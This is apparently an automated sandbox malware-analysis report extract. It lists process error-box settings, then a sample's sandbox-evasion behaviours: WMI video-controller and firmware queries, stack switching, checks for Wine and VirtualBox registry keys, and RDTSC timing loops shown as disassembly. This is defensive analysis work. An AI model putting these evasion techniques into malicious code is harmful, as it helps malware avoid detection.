Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10191470101\st22BJg.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\file.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10191490101\EZs3CZC.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10181980101\ZqkKpwG.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10184340101\eAzoDbY.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\10191230101\yo7qmvz.exe	System information queried: FirmwareTableInformation
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	System information queried: FirmwareTableInformation
Source: C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe	System information queried: FirmwareTableInformation

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 632779
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 6081C8
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 5FFED0
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 680788
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 6829EE
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 634A13
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 5518BA
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 609FCB
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 677288
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 60F26E
Source: C:\Users\user\AppData\Local\Temp\10190860101\8sb9w_003.exe	API/Special instruction interceptor: Address: 7FF9105CE814
Source: C:\Users\user\AppData\Local\Temp\ShortcutTaskAgent.exe	API/Special instruction interceptor: Address: 6C057C44
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	API/Special instruction interceptor: Address: 6C057C44
Source: C:\Users\user\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe	API/Special instruction interceptor: Address: 6C057945
Source: C:\Windows\SysWOW64\cmd.exe	API/Special instruction interceptor: Address: 6C053B54

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10171300101\s7MG2VL.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31AA1 second address: C31AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31AA7 second address: C31AAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31AAB second address: C31AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31AB1 second address: C31AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F0550D663C6h 0x00000009 jmp 00007F0550D663D5h 0x0000000e popad 0x0000000f pushad 0x00000010 jnp 00007F0550D663C6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31AD9 second address: C31ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C1D873 second address: C1D87D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C30C90 second address: C30CAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0550733D16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C30DED second address: C30E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 jmp 00007F0550D663D1h 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C30E05 second address: C30E0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C30FA3 second address: C30FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31110 second address: C31114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31114 second address: C3111C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C3111C second address: C31122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31122 second address: C31132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550D663CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C31132 second address: C31136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C3417E second address: C341E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jns 00007F0550D663C6h 0x0000000d pop ebx 0x0000000e popad 0x0000000f xor dword ptr [esp], 4D7993B5h 0x00000016 jmp 00007F0550D663CEh 0x0000001b lea ebx, dword ptr [ebp+12454F8Eh] 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F0550D663C8h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000018h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b mov dword ptr [ebp+122D57BEh], esi 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F0550D663D6h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C343E0 second address: C343E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C343E5 second address: C34419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0550D663CBh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 jmp 00007F0550D663CFh 0x00000015 pop eax 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jbe 00007F0550D663C6h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C34531 second address: C34536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C18653 second address: C18657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C18657 second address: C1865B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C1865B second address: C18661 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C18661 second address: C1866C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C535C3 second address: C535CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5373B second address: C53741 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C53C9A second address: C53CA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F0550D663C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C53DEF second address: C53E06 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jng 00007F0550733D06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d jg 00007F0550733D1Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C540B2 second address: C540C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0550D663CFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C540C6 second address: C540CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C540CC second address: C540D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5424D second address: C54253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C54253 second address: C54257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C547BD second address: C547C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C547C1 second address: C547D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0550D663C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F0550D663CCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C547D9 second address: C547EC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0550733D0Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C54940 second address: C54974 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0550D663D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F0550D663EFh 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0550D663CBh 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C54A8A second address: C54AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0550733D11h 0x00000009 pop edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C54AA3 second address: C54AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C54AA9 second address: C54AB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C54AB0 second address: C54ABA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F0550D663C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C54EC2 second address: C54EC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C577EC second address: C577F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5662B second address: C5662F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5662F second address: C56639 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0550D663C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C56639 second address: C56648 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5808C second address: C5809B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5D95C second address: C5D962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5D962 second address: C5D968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C5D968 second address: C5D973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C2C79A second address: C2C7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F0550D663D8h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0550D663CBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C61108 second address: C6110C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C61411 second address: C61429 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F0550D663D3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C61429 second address: C61433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C6186A second address: C618B6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007F0550D663C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 jmp 00007F0550D663D2h 0x00000017 popad 0x00000018 pushad 0x00000019 js 00007F0550D663CEh 0x0000001f jo 00007F0550D663C6h 0x00000025 pushad 0x00000026 popad 0x00000027 jmp 00007F0550D663CEh 0x0000002c jl 00007F0550D663CEh 0x00000032 pushad 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C61BC5 second address: C61BCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C61BCA second address: C61BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C61BD0 second address: C61BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C625AF second address: C625B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C62F6F second address: C62F8B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0550733D08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c jbe 00007F0550733D18h 0x00000012 push eax 0x00000013 push edx 0x00000014 jg 00007F0550733D06h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C63043 second address: C63050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C63180 second address: C63187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C63274 second address: C63298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0550D663D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C63298 second address: C632A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C632A2 second address: C632A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\13s1HMkHKv.exe	RDTSC instruction interceptor: First address: C63A06 second address: C63A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0550733D06h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0550733D17h 0x00000014 rdtsc
